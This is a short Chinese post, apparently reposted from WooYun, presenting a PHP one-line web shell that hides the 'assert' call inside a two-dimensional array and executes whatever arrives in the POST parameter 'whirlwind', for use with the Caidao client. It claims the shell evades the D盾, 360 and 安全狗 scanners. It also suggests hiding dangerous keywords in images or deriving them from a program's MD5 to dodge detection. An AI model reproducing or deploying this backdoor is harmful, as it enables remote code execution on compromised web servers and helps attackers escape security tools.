D盾，他不认识二维数组，所以就很轻松绕过了。  对了 还有360哦~  测试了下安全狗，也查不出来，，。

<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['whirlwind']);  //密码whirlwind 菜刀
?> 

另外，关于藏危险关键词，，除了用图像识别比较难发现，



还可以从某个固定程序md5中提取出来，嘎嘎~

参考

http://www.nowamagic.net/php/php_GetFileMd5.php

阅读原文乌云@whirlwind